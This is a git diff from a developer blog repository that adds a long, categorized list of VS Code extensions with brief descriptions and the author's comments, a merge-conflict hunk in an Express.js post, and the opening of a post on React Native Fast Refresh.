+> _A VS Code extension to debug your JavaScript code in the Chrome browser, or other targets that support the Chrome Debugging Protocol._
+
+### Facebook Flow
+
+-   [Flow Language Support](https://marketplace.visualstudio.com/items?itemName=flowtype.flow-for-vscode) — provides all the functionality you would expect — linting, intellisense, type tooltips and click-to-definition
+-   [vscode-flow-ide](https://marketplace.visualstudio.com/items?itemName=gcazaciuc.vscode-flow-ide) — an alternative Flowtype extension for Visual Studio Code
+
+### TypeScript
+
+-   [tslint](https://marketplace.visualstudio.com/items?itemName=eg2.tslint) — TSLint for Visual Studio Code
+-   [TypeScript Hero](https://marketplace.visualstudio.com/items?itemName=rbbit.typescript-hero) — Code outline view of your open TS, sort and organize your imports.
+
+---
+
+### Markdown
+
+### [markdownlint](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint)
+
+> *Linter for* *[markdownlint](https://github.com/DavidAnson/markdownlint).*
+
+### [Markdown All in One](https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one)
+
+> _All-in-one markdown plugin (keyboard shortcuts, table of contents, auto preview, list editing and more)_
+
+![](https://cdn-images-1.medium.com/max/800/0*8oVrYuZ9kLRNSuBs.gif)
+
+### [Markdown Emoji](https://marketplace.visualstudio.com/items?itemName=bierner.markdown-emoji)
+
+> _Adds emoji syntax support to VS Code’s built-in Markdown preview_
+
+![](https://cdn-images-1.medium.com/max/800/0*rckUMIIZ9Jh7UE5q.png)
+
+---
+
+### PHP
+
+### IntelliSense
+
+These extensions provide slightly different sets of features. While the first one offers better autocompletion support, the second one seems to have more features overall.
+
+-   [PHP Intelephense](https://marketplace.visualstudio.com/items?itemName=bmewburn.vscode-intelephense-client)
+-   [PHP IntelliSense](https://marketplace.visualstudio.com/items?itemName=felixfbecker.php-intellisense)
+
+### Laravel
+
+-   [Laravel 5 Snippets](https://marketplace.visualstudio.com/items?itemName=onecentlin.laravel5-snippets) — Laravel 5 snippets for Visual Studio Code
+-   [Laravel Blade Snippets](https://marketplace.visualstudio.com/items?itemName=onecentlin.laravel-blade) — Laravel blade snippets and syntax highlight support
+
+![](https://cdn-images-1.medium.com/max/800/0*f4hMFe1l7NpJTG8v.gif)
+
+-   [Laravel Model Snippets](https://marketplace.visualstudio.com/items?itemName=ahinkle.laravel-model-snippets) — Quickly get models up and running with Laravel Model Snippets.
+
+![](https://cdn-images-1.medium.com/max/800/0*1xydH2CgYGDSMZtB.gif)
+
+-   [Laravel Artisan](https://marketplace.visualstudio.com/items?itemName=ryannaddy.laravel-artisan) — Laravel Artisan commands within Visual Studio Code
+
+![](https://cdn-images-1.medium.com/max/800/0*rzK952c4UgikNNPR.gif)
+
+-   [DotENV](https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv) — Support for dotenv file syntax
+
+![](https://cdn-images-1.medium.com/max/800/0*fSAaqpXfBx1Sgztf.png)
+
+---
+
+### Other extensions
+
+-   [Format HTML in PHP](https://marketplace.visualstudio.com/items?itemName=rifi2k.format-html-in-php) — Formatting for the HTML in PHP files. Runs before the save action so you can still have a PHP formatter.
+
+![](https://cdn-images-1.medium.com/max/800/0*6gF0K20iKes7I9ZF.gif)
+
+-   [Composer](https://marketplace.visualstudio.com/items?itemName=ikappas.composer)
+-   [PHP Debug](https://marketplace.visualstudio.com/items?itemName=felixfbecker.php-debug) — XDebug extension for Visual Studio Code
+-   [PHP DocBlocker](https://marketplace.visualstudio.com/items?itemName=neilbrayfield.php-docblocker)
+-   [php cs fixer](https://marketplace.visualstudio.com/items?itemName=junstyle.php-cs-fixer) — PHP CS Fixer extension for VS Code, php formatter, php code beautify tool
+-   [phpcs](https://marketplace.visualstudio.com/items?itemName=ikappas.phpcs) — PHP CodeSniffer for Visual Studio Code
+-   [phpfmt](https://marketplace.visualstudio.com/items?itemName=kokororin.vscode-phpfmt) — phpfmt for Visual Studio Code
+
+---
+
+### Python
+
+-   [Python](https://marketplace.visualstudio.com/items?itemName=ms-python.python) — Linting, Debugging (multi threaded, web apps), Intellisense, auto-completion, code formatting, snippets, unit testing, and more.
+
+### TensorFlow
+
+-   [TensorFlow Snippets](https://marketplace.visualstudio.com/items?itemName=vahidk.tensorflow-snippets) — This extension includes a set of useful code snippets for developing TensorFlow models in Visual Studio Code.
+
+![](https://cdn-images-1.medium.com/max/800/0*stmhgQ3sGvJBTvf2.gif)
+
+---
+
+### Rust
+
+-   [Rust](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust) — Linting, auto-completion, code formatting, snippets and more
+
+---
+
+### Productivity
+
+### [ARM Template Viewer](https://marketplace.visualstudio.com/items?itemName=bencoleman.armview)
+
+> _Displays a graphical preview of Azure Resource Manager (ARM) templates. The view will show all resources with the official Azure icons and also linkage between the resources._
+
+![](https://cdn-images-1.medium.com/max/800/0*p8bvCI9DXF44m4z3.png)
+
+### [Azure Cosmos DB](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-cosmosdb)
+
+> _Browse your database inside the vs code editor_
+
+![](https://cdn-images-1.medium.com/max/800/0*VWvSU6Hbf20Kfc_P.gif)
+
+### [Azure IoT Toolkit](https://marketplace.visualstudio.com/items?itemName=vsciot-vscode.azure-iot-toolkit)
+
+> _Everything you need for the Azure IoT development: Interact with Azure IoT Hub, manage devices connected to Azure IoT Hub, and develop with code snippets for Azure IoT Hub_
+
+![](https://cdn-images-1.medium.com/max/800/0*AobtCd80fICrbQPI.png)
+
+### [Bookmarks](https://marketplace.visualstudio.com/items?itemName=alefragnani.Bookmarks)
+
+> _Mark lines and jump to them_
+
+### [Color Tabs](https://marketplace.visualstudio.com/items?itemName=orepor.color-tabs-vscode-ext)
+
+> _An extension for big projects or monorepos that colors your tab/titlebar based on the current package_
+
+![](https://cdn-images-1.medium.com/max/800/0*SEp-hgfDLlubNRyc.gif)
+
+### [Create tests](https://marketplace.visualstudio.com/items?itemName=hardikmodha.create-tests)
+
+> _An extension to quickly generate test files._
+
+![](https://cdn-images-1.medium.com/max/800/0*DLZLYmrBiui0YOBt.gif)
+
+### [Deploy](https://marketplace.visualstudio.com/items?itemName=mkloubert.vs-deploy)
+
+> _Commands for upload or copy files of a workspace to a destination._
+
+![](https://cdn-images-1.medium.com/max/800/0*lLasjzlmWnBwdbAT.gif)
+
+### [Duplicate Action](https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-duplicate)
+
+> _Ability to duplicate files and directories._
+
+### [Error Lens](https://marketplace.visualstudio.com/items?itemName=usernamehw.errorlens)
+
+> _Show language diagnostics inline (errors/warnings/…)._
+
+![](https://cdn-images-1.medium.com/max/800/0*1tJJkV0p2Ka_W06r.gif)
+
+### [ES7 React/Redux/GraphQL/React-Native snippets](https://marketplace.visualstudio.com/items?itemName=dsznajder.es7-react-js-snippets)
+
+> _Provides Javascript and React/Redux snippets in ES7_
+
+![](https://cdn-images-1.medium.com/max/800/0*W3N0kbgEumWYa-m4.png)
+
+### [Gi](https://marketplace.visualstudio.com/items?itemName=rubbersheep.gi)
+
+> _Generating .gitignore files made easy_
+
+![](https://cdn-images-1.medium.com/max/800/0*sfddghz8B1D362UB.gif)
+
+### [GistPad](https://marketplace.visualstudio.com/items?itemName=vsls-contrib.gistfs)
+
+> _Allows you to manage GitHub Gists entirely within the editor. You can open, create, delete, fork, star and clone gists, and then seamlessly begin editing files as if they were local. It’s like your very own developer library for building and referencing code snippets, commonly used config/scripts, programming-related notes/documentation, and interactive samples._
+
+![](https://cdn-images-1.medium.com/max/800/0*1MiBQ0u4Z8TPNaG9.gif)
+
+### [Git History](https://marketplace.visualstudio.com/items?itemName=donjayamanne.githistory)
+
+> _View git log, file or line History_
+
+### [Git Project Manager](https://marketplace.visualstudio.com/items?itemName=felipecaputo.git-project-manager)
+
+> _Automatically indexes your git projects and lets you easily toggle between them_
+
+### [GitLink](https://marketplace.visualstudio.com/items?itemName=qezhu.gitlink)
+
+> _GoTo current file’s online link in browser and Copy the link in clipboard._
+
+![](https://cdn-images-1.medium.com/max/800/0*Acgfn2rmhinuIPjk.gif)
+
+### [GitLens](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens)
+
+> _Provides Git CodeLens information (most recent commit, # of authors), on-demand inline blame annotations, status bar blame information, file and blame history explorers, and commands to compare changes with the working tree or previous versions._
+
+![](https://cdn-images-1.medium.com/max/800/0*MZu4GV7SOCW88UQQ.gif)
+
+### [Git Indicators](https://marketplace.visualstudio.com/items?itemName=lamartire.git-indicators)
+
+> _Atom-like git indicators on active panel_
+
+![](https://cdn-images-1.medium.com/max/800/0*vitZrD9ZU0_eWckU.png)
+
+![](https://cdn-images-1.medium.com/max/800/0*0BHxQOLMx09FFuWZ.png)
+
+![](https://cdn-images-1.medium.com/max/800/0*x8F97F4AdSvvtehT.png)
+
+### [GitHub](https://marketplace.visualstudio.com/items?itemName=KnisterPeter.vscode-github)
+
+> *Provides GitHub workflow support. For example browse project, issues, file (the current line), create and manage pull request. Support for other providers (e.g. gitlab or bitbucket) is planned. Have a look at the* *[README.md](https://github.com/KnisterPeter/vscode-github/blob/master/README.md)* *on how to get started with the setup for this extension.*
+
+### [GitHub Pull Request Monitor](https://marketplace.visualstudio.com/items?itemName=erichbehrens.pull-request-monitor)
+
+> _This extension uses the GitHub api to monitor the state of your pull requests and let you know when it’s time to merge or if someone requested changes._
+
+![](https://cdn-images-1.medium.com/max/800/0*TOq5OERkgQNETGPK.png)
+
+### [GitLab Workflow](https://marketplace.visualstudio.com/items?itemName=gitlab.gitlab-workflow)
+
+> *Adds a GitLab sidebar icon to view issues, merge requests and other GitLab resources. You can also view the results of your GitLab CI/CD pipeline and check the syntax of your* `.gitlab-ci.yml`_._
+
+#### [Gradle Tasks](https://marketplace.visualstudio.com/items?itemName=richardwillis.vscode-gradle)
+
+> _Run gradle tasks in VS Code._
+
+![](https://cdn-images-1.medium.com/max/800/0*Vx-3DIT22BJpEnJr.gif)
+
+### [Icon Fonts](https://marketplace.visualstudio.com/items?itemName=idleberg.icon-fonts)
+
+> _Snippets for popular icon fonts such as Font Awesome, Ionicons, Glyphicons, Octicons, Material Design Icons and many more!_
+
+### [Import Cost](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost)
+
+> _This extension will display inline in the editor the size of the imported package. The extension utilizes webpack with babili-webpack-plugin in order to detect the imported size._
+
+### [Jira and Bitbucket](https://marketplace.visualstudio.com/items?itemName=Atlassian.atlascode)
+
+> _Bringing the power of Jira and Bitbucket to VS Code — With Atlassian for VS Code you can create and view issues, start work on issues, create pull requests, do code reviews, start builds, get build statuses and more!_
+
+![](https://cdn-images-1.medium.com/max/800/0*T6iuH2VnPYj93YqW.gif)
+
+### [JS Parameter Annotations](https://marketplace.visualstudio.com/items?itemName=lannonbr.vscode-js-annotations)
+
+> _Provides annotations on function calls in JS/TS files to provide parameter names to arguments._
+
+![](https://cdn-images-1.medium.com/max/800/0*zHffPsYWln4dxhus.png)
+
+### [Jumpy](https://marketplace.visualstudio.com/items?itemName=wmaurer.vscode-jumpy)
+
+> _Provides fast cursor movement, inspired by Atom’s package of the same name._
+
+![](https://cdn-images-1.medium.com/max/800/0*uPOceUJ4eMjCP_Qt.gif)
+
+### [Kanban](https://marketplace.visualstudio.com/items?itemName=mkloubert.vscode-kanban)
+
+![](https://cdn-images-1.medium.com/max/800/0*SzUG3UU1fl5ub7bA.gif)
+
+_Simple Kanban board for use in Visual Studio Code, with time tracking and Markdown support._
+
+### [Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer)
+
+> _Launch a development local Server with live reload feature for static & dynamic pages._
+
+![](https://cdn-images-1.medium.com/max/800/0*Oj5zPrWwMbCBViBi.gif)
+
+### [Multiple clipboards](https://marketplace.visualstudio.com/items?itemName=slevesque.vscode-multiclip)
+
+> _Override the regular Copy and Cut commands to keep selections in a clipboard ring_
+
+### [ngrok for VSCode](https://marketplace.visualstudio.com/items?itemName=philnash.ngrok-for-vscode)
+
+> *ngrok allows you to expose a web server running on your local machine to the internet. Just tell ngrok what port your web server is listening on. This extension allows you to control* *[ngrok](https://ngrok.com/)* *from the VSCode command palette*
+
+![](https://cdn-images-1.medium.com/max/800/0*IX15MuJrEVBcTd0F.gif)
+
+### [Instant Markdown](https://marketplace.visualstudio.com/items?itemName=dbankier.vscode-instant-markdown)
+
+> _Simply, edit markdown documents in vscode and instantly preview it in your browser as you type._
+
+![](https://cdn-images-1.medium.com/max/800/0*jBw9vP9cAtvv2IcV.gif)
+
+### [npm Intellisense](https://marketplace.visualstudio.com/items?itemName=christian-kohler.npm-intellisense)
+
+> _Visual Studio Code plugin that autocompletes npm modules in import statements._
+
+![](https://cdn-images-1.medium.com/max/800/0*iVJamJugt_b7-VsV.gif)
+
+### [Parameter Hints](https://marketplace.visualstudio.com/items?itemName=DominicVonk.parameter-hints)
+
+> _Provides parameter hints on function calls in JS/TS/PHP files._
+
+![](https://cdn-images-1.medium.com/max/800/0*BSj8-Qt7xtVTsl1Z.png)
+
+### [Partial Diff](https://marketplace.visualstudio.com/items?itemName=ryu1kn.partial-diff)
+
+> _Compare (diff) text selections within a file, across different files, or to the clipboard_
+
+![](https://cdn-images-1.medium.com/max/800/0*KHki85jdv1hZeY3V.gif)
+
+### [Paste JSON as Code](https://marketplace.visualstudio.com/items?itemName=quicktype.quicktype)
+
+> _Infer the structure of JSON and paste is as types in many programming languages_
+
+![](https://cdn-images-1.medium.com/max/800/0*K2GCRMGsYjpsK8OX.gif)
+
+### [Path IntelliSense](https://marketplace.visualstudio.com/items?itemName=christian-kohler.path-intellisense)
+
+> _Visual Studio Code plugin that autocompletes filenames_
+
+![](https://cdn-images-1.medium.com/max/800/0*xwxU_1ffZvZ6DeoO.gif)
+
+### [Power Tools](https://marketplace.visualstudio.com/items?itemName=ego-digital.vscode-powertools)
+
+> _Extends Visual Studio Code via things like Node.js based scripts or shell commands, without writing separate extensions_
+
+![](https://cdn-images-1.medium.com/max/800/0*Cb7J6-PYsXsnjqSN.gif)
+
+### [PrintCode](https://marketplace.visualstudio.com/items?itemName=nobuhito.printcode)
+
+> _PrintCode converts the code being edited into an HTML file, displays it by browser and prints it._
+
+![](https://cdn-images-1.medium.com/max/800/0*2spvNSEEHM-ETd_F.gif)
+
+### [Project Manager](https://marketplace.visualstudio.com/items?itemName=alefragnani.project-manager)
+
+> _Easily switch between projects._
+
+### [Project Dashboard](https://marketplace.visualstudio.com/items?itemName=kruemelkatze.vscode-dashboard)
+
+> _VSCode Project Dashboard is a Visual Studio Code extension that lets you organize your projects in a speed-dial like manner. Pin your frequently visited folders, files, and SSH remotes onto a dashboard to access them quickly._
+
+![](https://cdn-images-1.medium.com/max/800/0*PxOoARROhi1rf63R.gif)
+
+### [Rainbow CSV](https://marketplace.visualstudio.com/items?itemName=mechatroner.rainbow-csv)
+
+> _Highlight columns in comma, tab, semicolon and pipe separated files, consistency check and linting with CSVLint, multi-cursor column editing, column trimming and realignment, and SQL-style querying with RBQL._
+
+![](https://cdn-images-1.medium.com/max/800/0*XAb9jlOfGWlEaCEM.png)
+
+### [Remote Development](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack)
+
+> _Allows users to open any folder in a container, on a remote machine, container or in Windows Subsystem for Linux(WSL) and take advantage of VS Code’s full feature set._
+
+![](https://cdn-images-1.medium.com/max/800/0*b6XEPh9PJzeWDB_z.gif)
+
+### [Remote VSCode](https://marketplace.visualstudio.com/items?itemName=rafaelmaiolla.remote-vscode)
+
+> _Allow user to edit files from Remote server in Visual Studio Code directly._
+
+### [REST Client](https://marketplace.visualstudio.com/items?itemName=humao.rest-client)
+
+> _Allows you to send HTTP request and view the response in Visual Studio Code directly._
+
+![](https://cdn-images-1.medium.com/max/800/0*zGne78bniDbTXzyf.gif)
+
+### [Settings Sync](https://marketplace.visualstudio.com/items?itemName=Shan.code-settings-sync)
+
+> _Synchronize settings, snippets, themes, file icons, launch, key bindings, workspaces and extensions across multiple machines using GitHub Gist_
+
+![](https://cdn-images-1.medium.com/max/800/0*ilH91MRgGnMF6C8c.gif)
+
+### [Text Power Tools](https://marketplace.visualstudio.com/items?itemName=qcz.text-power-tools)
+
+> _All-in-one extension for text manipulation: filtering (grep), remove lines, insert number sequences and GUIDs, format content as table, change case, converting numbers and more. Great for finding information in logs and manipulating text._
+
+![](https://cdn-images-1.medium.com/max/800/0*Pfp4noD5OeQRbmsZ.gif)
+
+### [Todo Tree](https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree)
+
+> _Custom keywords, highlighting, and colors for TODO comments. As well as a sidebar to view all your current tags._
+
+![](https://cdn-images-1.medium.com/max/800/0*6utz502-rPCa0Xcg.gif)
+
+### [Toggle Quotes](https://marketplace.visualstudio.com/items?itemName=BriteSnow.vscode-toggle-quotes)
+
+> _Cycle between single, double and backtick quotes_
+
+![](https://cdn-images-1.medium.com/max/800/0*7kZFpggvGAVkvoYa)
+
+### [Typescript Destructure](https://marketplace.visualstudio.com/items?itemName=tusaeff.vscode-typescript-destructure-plugin)
+
+> _TypeScript Language Service Plugin providing a set of source actions for easy objects destructuring_
+
+![](https://cdn-images-1.medium.com/max/800/0*sEi0imXK2Yx69m7H.gif)
+
+### [WakaTime](https://marketplace.visualstudio.com/items?itemName=WakaTime.vscode-wakatime)
+
+> _Automatic time tracker and productivity dashboard showing how long you coded in each project, file, branch, and language._
+
+---
+
+### Formatting & Beautification
+
+### [Better Align](https://marketplace.visualstudio.com/items?itemName=wwm.better-align)
+
+> *Align your code by colon(:), assignment(=, +=, -=, *=, /=) and arrow(=> ). It has additional support for comma-first coding style and trailing comment.*
+>
+> _And it doesn’t require you to select what to be aligned, the extension will figure it out by itself._
+
+![](https://cdn-images-1.medium.com/max/800/0*5maDjvvH57MAks1l.gif)
+
+### [Auto Close Tag](https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-close-tag)
+
+> _Automatically add HTML/XML close tag, same as Visual Studio IDE or Sublime Text_
+
+![](https://cdn-images-1.medium.com/max/800/0*h6Q6HLQ8jfHLnPlJ.gif)
+
+### [Auto Rename Tag](https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-rename-tag)
+
+> _Auto rename paired HTML/XML tags_
+
+![](https://cdn-images-1.medium.com/max/800/0*uRKX2-umhSQzlESv.gif)
+
+### [beautify](https://marketplace.visualstudio.com/items?itemName=HookyQR.beautify)
+
+> _Beautify code in place for VS Code_
+
+### [html2pug](https://marketplace.visualstudio.com/items?itemName=dbalas.vscode-html2pug)
+
+> _Transform html to pug inside your Visual Studio Code, forget about using an external page anymore._
+
+### [ECMAScript Quotes Transformer](https://marketplace.visualstudio.com/items?itemName=vilicvane.es-quotes)
+
+> _Transform quotes of ECMAScript string literals_
+
+![](https://cdn-images-1.medium.com/max/800/0*W1Z1fIvOGgPclFMJ.gif)
+
+### [Paste and Indent](https://marketplace.visualstudio.com/items?itemName=Rubymaniac.vscode-paste-and-indent)
+
+> _Paste code with “correct” indentation_
+
+### [Sort Lines](https://marketplace.visualstudio.com/items?itemName=Tyriar.sort-lines)
+
+> _Sorts lines of text in specific order_
+
+![](https://cdn-images-1.medium.com/max/800/0*a4wPhA7VjJqkp3lu.gif)
+
+### [Surround](https://marketplace.visualstudio.com/items?itemName=yatki.vscode-surround)
+
+> _A simple yet powerful extension to add wrapper templates around your code blocks._
+
+![](https://cdn-images-1.medium.com/max/800/0*lyjRgfSrvdmhGFXd.gif)
+
+### [Wrap Selection](https://marketplace.visualstudio.com/items?itemName=konstantin.wrapSelection)
+
+> _Wraps selection or multiple selections with symbol or multiple symbols_
+
+### [Formatting Toggle](https://marketplace.visualstudio.com/items?itemName=tombonnike.vscode-status-bar-format-toggle)
+
+> _Allows you to toggle your formatter on and off with a simple click_
+
+### [Bracket Pair Colorizer](https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer)
+
+> _This extension allows matching brackets to be identified with colours. The user can define which characters to match, and which colours to use._
+
+![](https://cdn-images-1.medium.com/max/800/0*m3nU-5UxgUxX4-eJ.png)
+
+### [Auto Import](https://marketplace.visualstudio.com/items?itemName=steoates.autoimport)
+
+> _Automatically finds, parses and provides code actions and code completion for all available imports. Works with Typescript and TSX._
+
+### [shell-format](https://github.com/foxundermoon/vs-shell-format)
+
+> _shell script & Dockerfile & dotenv format_
+
+![](https://cdn-images-1.medium.com/max/800/0*TThlkfK1KgQm5AKU.gif)
+
+### [Vscode Google Translate](https://marketplace.visualstudio.com/items?itemName=funkyremi.vscode-google-translate)
+
+> _Quickly translate selected text right in your code_
+
+![](https://cdn-images-1.medium.com/max/800/0*JF8NuxAFDxXiTn_u.gif)
+
+### Explorer Icons
+
+### [Material Icon Theme](https://marketplace.visualstudio.com/items?itemName=PKief.material-icon-theme)
+
+![](https://cdn-images-1.medium.com/max/800/0*67ZZ9mhoISPk_lM4.png)
+
+### Uncategorized
+
+### [Browser Preview](https://marketplace.visualstudio.com/items?itemName=auchenberg.vscode-browser-preview)
+
+> _Browser Preview for VS Code enables you to open a real browser preview inside your editor that you can debug. Browser Preview is powered by Chrome Headless, and works by starting a headless Chrome instance in a new process. This enables a secure way to render web content inside VS Code, and enables interesting features such as in-editor debugging and more!_
+>
+> **_FYI:… I HAVE TRIED ENDLESSLEY TO GET THE DEBUGGER TO WORK IN VSCODE BUT IT DOES NOT… I SUSPECT THAT’S WHY IT HAS A 3 STAR RATING FOR AN OTHERWISE PHENOMINAL EXTENSION._**
+
+![](https://cdn-images-1.medium.com/max/800/0*Oilwsi7EKGpCZb46.gif)
+
+### [CodeRoad](https://marketplace.visualstudio.com/items?itemName=CodeRoad.coderoad)
+
+> _Play interactive tutorials in your favorite editor._
+
+![](https://cdn-images-1.medium.com/max/800/0*iV8P93QMmWdYfnrQ.gif)
+
+### [Code Runner](https://marketplace.visualstudio.com/items?itemName=formulahendry.code-runner)
+
+> _Run code snippet or code file for multiple languages: C, C++, Java, JavaScript, PHP, Python, Perl, Ruby, Go, Lua, Groovy, PowerShell, BAT/CMD, BASH/SH, F# Script, C# Script, VBScript, TypeScript, CoffeeScript, Scala, Swift, Julia, Crystal, OCaml Script_
+
+![](https://cdn-images-1.medium.com/max/800/0*hMsM_IEyBklQXchd.gif)
+
+### [Code Time](https://marketplace.visualstudio.com/items?itemName=softwaredotcom.swdc-vscode)
+
+> _Automatic time reports by project and other programming metrics right in VS Code._
+
+![](https://cdn-images-1.medium.com/max/800/0*Uo1BYexJenprpgLa)
+
+### [Color Highlight](https://marketplace.visualstudio.com/items?itemName=naumovs.color-highlight)
+
+> _Highlight web colors in your editor_
+
+![](https://cdn-images-1.medium.com/max/800/1*ZwE7OHKR5opvDCJJOw9KeQ.png)
+
+### [Output Colorizer](https://marketplace.visualstudio.com/items?itemName=IBM.output-colorizer)
+
+> _Syntax highlighting for the VS Code Output Panel and log files_
+
+![](https://cdn-images-1.medium.com/max/800/0*9DpzVZ9cUNp2TMyD.jpg)
+
+### [Dash](https://marketplace.visualstudio.com/items?itemName=deerawan.vscode-dash)
+
+> _Dash integration in Visual Studio Code_
+
+![](https://cdn-images-1.medium.com/max/800/1*sqGllC-pgXNaEBfB-cxG9Q.png)
+
+### [Edit with Shell Command](https://marketplace.visualstudio.com/items?itemName=ryu1kn.edit-with-shell)
+
+> _Leverage your favourite shell commands to edit text_
+
+![](https://cdn-images-1.medium.com/max/800/0*2wW31HJ1nUCjORZe.gif)
+
+### [Editor Config for VS Code](https://marketplace.visualstudio.com/items?itemName=EditorConfig.EditorConfig)
+
+> _Editor Config for VS Code_
+
+### [ftp-sync](https://marketplace.visualstudio.com/items?itemName=lukasz-wronski.ftp-sync)
+
+> _Auto-sync your work to remote FTP server_
+
+![](https://cdn-images-1.medium.com/max/800/0*-viKhwxpeYQdWHRE.gif)
+
+### [Highlight JSX/HTML tags](https://marketplace.visualstudio.com/items?itemName=vincaslt.highlight-matching-tag)
+
+> _Highlights matching tags in the file._
+
+### [Indent Rainbow](https://marketplace.visualstudio.com/items?itemName=oderwat.indent-rainbow)
+
+> _A simple extension to make indentation more readable._
+
+![](https://cdn-images-1.medium.com/max/800/0*GK_yEd-50SU3yc_y.png)
+
+### [Password Generator](https://marketplace.visualstudio.com/items?itemName=ftonato.password-generator)
+
+> _Create a secure password using our generator tool. Help prevent a security threat by getting a strong password today._
+
+![](https://cdn-images-1.medium.com/max/800/0*qPJAZk9-NcYgsx7H.gif)
+
+### [PlatformIO](https://marketplace.visualstudio.com/items?itemName=formulahendry.platformio)
+
+> _An open source ecosystem for IoT development: supports 350+ embedded boards, 20+ development platforms, 10+ frameworks. Arduino and ARM mbed compatible._
+
+![](https://cdn-images-1.medium.com/max/800/0*RywVt_vikqB-5urO.gif)
+
+### [Polacode](https://marketplace.visualstudio.com/items?itemName=pnp.polacode)
+
+> _Polaroid for your code 📸._
+>
+> **_Note: Polacode no longer works as of the most recent update… go for Polacode2020 or CodeSnap…_**
+
+![](https://cdn-images-1.medium.com/max/800/0*Io4fPojDRrDf5CmW.gif)
+
+### [Quokka](https://marketplace.visualstudio.com/items?itemName=WallabyJs.quokka-vscode)
+
+#### This one is super cool!
+
+> _Rapid prototyping playground for JavaScript and TypeScript in VS Code, with access to your project’s files, inline reporting, code coverage and rich output formatting._
+
+![](https://cdn-images-1.medium.com/max/800/0*Q9kp8EWZHTD0Hfru.gif)
+
+### [Slack](https://marketplace.visualstudio.com/items?itemName=sozercan.slack)
+
+> _Send messages and code snippets, upload files to Slack_
+
+Personally I found this extension to slow down my editor in addition to confliction with other extensions: (I have over 200 as of this writing)….. **yes I have been made fully aware that I have a problem and need to get help**
+
+![](https://cdn-images-1.medium.com/max/800/0*9-xxjXzdPCh_46kZ.gif)
+
+### [Spotify](https://marketplace.visualstudio.com/items?itemName=shyykoserhiy.vscode-spotify)
+
+_No real advantage over just using Spotify normally… it’s problematic enough in implementation that you won’t save any time using it. Further, it’s a bit tricky to configure … or at least it was the last time I tried syncing it with my spotify account._
+
+> _Provides integration with Spotify Desktop client. Shows the currently playing song in status bar, search lyrics and provides commands for controlling Spotify with buttons and hotkeys._
+
+![](https://cdn-images-1.medium.com/max/800/0*IqsxXiGpZQWbQbfD.gif)
+
+### [SVG](https://marketplace.visualstudio.com/items?itemName=jock.svg)
+
+> _A Powerful SVG Language Support Extension(beta). Almost all the features you need to handle SVG._
+
+![](https://cdn-images-1.medium.com/max/800/0*SC6zCXGaBnM_LkgC.png)
+
+### [SVG Viewer](https://marketplace.visualstudio.com/items?itemName=cssho.vscode-svgviewer)
+
+> _View an SVG in the editor and export it as data URI scheme or PNG._
+
+### [Text Marker (Highlighter)](https://marketplace.visualstudio.com/items?itemName=ryu1kn.text-marker)
+
+> _Highlight multiple text patterns with different colors at the same time. Highlighting a single text pattern can be done with the editor’s search functionality, but it cannot highlight multiple patterns at the same time, and this is where this extension comes handy._
+
+![](https://cdn-images-1.medium.com/max/800/0*YDreVyGNjZmqj_KC.gif)
+
+### [ESDOC MDN](https://marketplace.visualstudio.com/items?itemName=samundrak.esdoc-mdn)
+
+### THIS IS A MUST HAVE
+
+> _Quickly bring up helpful MDN documentation in the editor_
+
+![](https://cdn-images-1.medium.com/max/800/0*xiUfWBsz8x8beY70.gif)
+
+![](https://cdn-images-1.medium.com/max/800/0*mMBU6d1iCkt5VHq2.gif)
+
+### Themes:
+
+In the interest of not making the reader scroll endlessly as I often do… I’ve made a separate post for that here. If you’ve made it this far, I thank you!
+
+<!--EndFragment-->
diff --git a/src/pages/blog/expressjs-apis.md b/src/pages/blog/expressjs-apis.md
index 08b319b6ca..f755924863 100644
--- a/src/pages/blog/expressjs-apis.md
+++ b/src/pages/blog/expressjs-apis.md
@@ -664,7 +664,15 @@ There should no be knex code in the endpoints themselves.
 
 ![](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5ecaf43d-ee27-4da1-aa3c-aa1d9d96cc40/Untitled.png)
 
+<<<<<<< HEAD
 ## **Overview**
+=======
+### Part    4
+
+![](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5ecaf43d-ee27-4da1-aa3c-aa1d9d96cc40/Untitled.png)
+
+#### **Overview**
+>>>>>>> master
 
 Normalization is the process of designing or refactoring database tables for maximum consistency and minimum redundancy.
 
diff --git a/src/pages/blog/fast-refresh.md b/src/pages/blog/fast-refresh.md
new file mode 100644
index 0000000000..4e8d0b1913
--- /dev/null
+++ b/src/pages/blog/fast-refresh.md
@@ -0,0 +1,70 @@
+---
+title: Fast Refresh
+template: post
+subtitle: Fast Refresh is a React Native feature that allows you to get
+  near-instant feedback for changes in your React components.
+excerpt: Fast Refresh is a React Native feature that allows you to get
+  near-instant feedback for changes in your React components.
+date: 2022-06-06T17:42:17.258Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react%20(1).png?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/react%20(1).png?raw=true
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+  - src/data/categories/react.yaml
+tags:
+  - src/data/tags/react.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/10-essential-react-interview-questions.md
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+# Fast Refresh
+
+Fast Refresh is a React Native feature that allows you to get near-instant feedback for changes in your React components. Fast Refresh is enabled by default, and you can toggle “Enable Fast Refresh” in the React Native developer menu. With Fast Refresh enabled, most edits should be visible within a second or two.
+
+## How It Works
+
+-   If you edit a module that **only exports React component(s)**, Fast Refresh will update the code only for that module, and re-render your component. You can edit anything in that file, including styles, rendering logic, event handlers, or effects.
